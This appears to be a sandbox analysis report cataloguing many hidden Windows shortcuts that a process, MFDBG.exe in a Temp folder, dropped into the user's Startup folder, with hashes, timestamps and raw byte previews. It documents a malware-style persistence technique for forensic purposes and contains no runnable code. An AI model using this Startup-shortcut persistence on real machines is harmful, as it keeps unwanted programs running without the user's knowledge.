File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923705512136212
Encrypted:	false
SSDEEP:	24:86BfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	93F2F8C7C58C779C0253DCD2E33BCFB3
SHA1:	A83B2F06021942344C21BF4DF10853E362825D87
SHA-256:	FF5678A63BCA5973807A58DF9746BEC0CC2DDCDE8DF6903D3686F328604EB768
SHA-512:	EFDC0D778D92E60EC6695CEA599D321E6A0C5B0C19102365FBA930D589DAADDF642478E9A88306D353137E9B615ECA4D06938B711828E9990F09227E1315979F
Malicious:	false
Preview:	L..................F....".......d....y^.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51c497206cfe4b6a88cb446b5426700c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917111729356154
Encrypted:	false
SSDEEP:	24:8HBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8h7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	5B05B92CBA12336FC5E4727A443D6917
SHA1:	F94D3350236192E967213168DBE16EBBDB7FACD3
SHA-256:	9A369F5F6F1D62F4134153D8EE43714949DCB3FF4ED7CB33207FCE8A52045FB6
SHA-512:	897107EE42DE38E0C2F9D3D05F1951C2F8803DDD29092BD16605C427B9EA442D2226B6CA0F46F2115C77C3E2795F9F51712A37B2DE67585B8A1010703F6DE30A
Malicious:	false
Preview:	L..................F....".......d...m0.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_51ead15895284fe1b6a9259d0b82fd09.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925625727840248
Encrypted:	false
SSDEEP:	24:8bBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8N09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	25C91B76F3B1577F4D9C521732F7682A
SHA1:	2BA962CD82A3F1FFE2185E954A5E22C43AADDA30
SHA-256:	1F82645E35CC5ABBC4C56DC954AA3599182D98D60CBC73CF5E41CECDC51B0A92
SHA-512:	183775D0FD3AE8C81CBB37B68D721F1099A91ED4CCA2BA08878A3D86B0171309C2A09AACE18B12AD1ABFA8688081FC8FFC0E8ECF1B2B5B8B888A42184A1DA088
Malicious:	false
Preview:	L..................F....".......d...d`zQd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_524d3051e8d14f5caafa690695967aa2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921883798436816
Encrypted:	false
SSDEEP:	24:8/BfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JbEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0E76723170D4EC93B7CFB0145A655225
SHA1:	138A3B76F836F9477E94106F0A3B5F95EC0FE330
SHA-256:	DA4344A55724C8E7AD5727A2CDF4AF9C39FDD3AE29CBF85BBA5366D14151A61D
SHA-512:	DF9AD10313403B68FBB9BB54050F05D1C15385696BEF18CCD0E7B9A7D5FACAF47978BF85180DA716869099DE3BD8B74DF719A073D99A5EC6BED1EE6B91404730
Malicious:	false
Preview:	L..................F....".......d....Me~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5255e2438f7f4b8ca3cb4586527a9db6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916852022095727
Encrypted:	false
SSDEEP:	24:8YBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WREvZ0yRO7DLO2zdxdRd1kyg
MD5:	57155D982BC1352AC09117C2B61E652F
SHA1:	9BD920796E98636311EB427FE76F730990580EE0
SHA-256:	75217DB661AF3706A7D6F41CC05B3F0130E91C0F4258B1A0060318EAF8C17FD7
SHA-512:	A560FA6E660EAC64BB0E3D59FC65DD9BE62FA988A942A83B14B7D42159329B122236AFD43E2333D55F252477D6E5D0D6E9206B77F0DF3633CB7F2461A6C66C06
Malicious:	false
Preview:	L..................F....".......d....`.?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5270da0043b64e0183907669373b7d08.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917087622509073
Encrypted:	false
SSDEEP:	24:8kBfn+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KLEvZ0yRO7DLO2zdxdRd1kyg
MD5:	602E4921FD46E31CC4F56A3B837A7B95
SHA1:	9EC211C4B72A0F56DE161DA95391F3696D401180
SHA-256:	959467D4F9E8A75D537EE498E1C96629F722B27A475ACE03584685F727076BCF
SHA-512:	0B7DEED3825F33B01FE0094B7AE10275970FEB3419A97BBF650A3EACD8D91EE7F453DB02E42B3255F277AE1A19592140E1B0933128BA0641428496480E51F69D
Malicious:	false
Preview:	L..................F....".......d....9!:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....u.9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53760ab30cf043c4af9bada38389c05d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927545943544287
Encrypted:	false
SSDEEP:	24:8qBfV8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B23AE6BE269C116A37F4A6F4D4378EA5
SHA1:	21C92ECC5AC5E24F6EC8B75BF46A6E210F0C389C
SHA-256:	010A9303EE3B69E94AD12251280A061A821A9F2E99F33A54C8771B544BA93F37
SHA-512:	7D9A33D13C1852B23148DD952DA368E8E3A21A11DDD3779B62C28801125AA12E5257CB9C7617AC673986D412143DD4AD60D8E5EB3483CAFEC523E39D2BF4E3F5
Malicious:	false
Preview:	L..................F....".......d....p#}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....,}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53d3c89dc4424804b83317bfe678ec0e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9207036548110565
Encrypted:	false
SSDEEP:	24:82crBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82EYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AE325D6CD0A4C62107D4FC4DEC04D0D5
SHA1:	C1B1AC891D88EEC68809B0045D428C71AF9DBEAB
SHA-256:	301D096B412614EFF39F1C659539D4E48E57E7F2DA44505EDDD9B96D221FAA7E
SHA-512:	DC28DE839351311D67CCFC4B1A32B17543ED5615793E105500A1B76DD168FB2E2596509B39686D6A1EA2719064C9ECC0024010A1E0289701CA8D2BA98FBB02AE
Malicious:	false
Preview:	L..................F....".......d....g7\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_540c2958b8314be5b328c344aa93f2d0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922445427862772
Encrypted:	false
SSDEEP:	24:8UrBf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7241770CB74FC2C602E040C6900D9490
SHA1:	D0A69CF5552B3AB441681A91A49B661FAEA19EF1
SHA-256:	2EC1F2EF61368C9F1544DDAE7303F204BF9DDA3A3F59B04DB462B433F5C9336E
SHA-512:	AD4230B9F1F7E227584ECFC99733C16CFF1B60236735C29E0E08828F8179D7736596D3D2CC71978628B4524B19906764F8BE9B73EDAA622BE83AA9E3483C4E33
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_540ff8d72f27451d9f9e00e5e818e64b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925392545015147
Encrypted:	false
SSDEEP:	24:8FMBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C260EE0B51DBCA9BBBF131354F91265E
SHA1:	22386362AC22BCD8E658BC663C0CA162BA543B55
SHA-256:	14B83387D870882DE01F9CCFCC9A6FA320D8A145257C45A5F1318A1F285622D2
SHA-512:	685F1D2D8378AB066AB084ACECDB2FAC4C8FFB99C2955F5D775010EB398357BF38A3CDB18637F8936DA34BA2E317C1F54C8AD45400991F4D0ED6E44F23277914
Malicious:	false
Preview:	L..................F....".......d...x..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5460a2bf7e6f47bf9fc7ccb90ba44964.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922390796391071
Encrypted:	false
SSDEEP:	24:8NMBfB8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NCOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	105A1D6B32CD623BC92F901C1BC8A0D7
SHA1:	52FA6D2D5A21673414E5B6772D4A9118F2699A4F
SHA-256:	CA8947DFC36838736B1DDFC2E4BE245354F8965ADFB1EB7C447948F1BE58A6C4
SHA-512:	4A555FEE62609FE796EFE1B809350430B07864661B7BDEE4C9390F69E6E63AD6E9E161E1A10264359BB7AF690CBF93BBD0CA73BC52ACD951786C54B469D15F4A
Malicious:	false
Preview:	L..................F....".......d....e(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_548377bfd9794007920c26508c996a95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9265467688601765
Encrypted:	false
SSDEEP:	24:8V7QBf08EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Be5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2FBF661E702F890C7C15D64D7EAC1B26
SHA1:	0879EDF481DCE89E995C02CADE8534029354E597
SHA-256:	0B0A64FFF6798B9BB47BB2F2654654CE526946407D5B754A276D446B3A24B014
SHA-512:	CB2B193899B5E9472C981A329E81CBA9787ED33A7EC6AE0EE33D52FF1913083488C330A3B6F04C9FEEF707518BC82C89C1B19AB32CC72862068A0252170C660B
Malicious:	false
Preview:	L..................F....".......d...h.."d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...;#."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54972164e3014e05b7de17a649baed99.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9188128701038165
Encrypted:	false
SSDEEP:	24:8zBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81P9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	EA149F70703068526CD21B336FB9C840
SHA1:	4DF2BC97886BDB894E0CBB42E165B783D301267E
SHA-256:	F841F33FE74E1A26AB88E5329F6EAC5C127489EC71739CDA9CE0ED0A6589DEB3
SHA-512:	32869786787E7E89D34B5D4FD3BAE58B2951C33B66B6CBC8E75C3C6E1A6085DAF971F33865124D94CF491607BE13363327D38D5F3A76749CF6D4AB6E139FD3E2
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_54fbac313657485f9eaac71717505b77.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
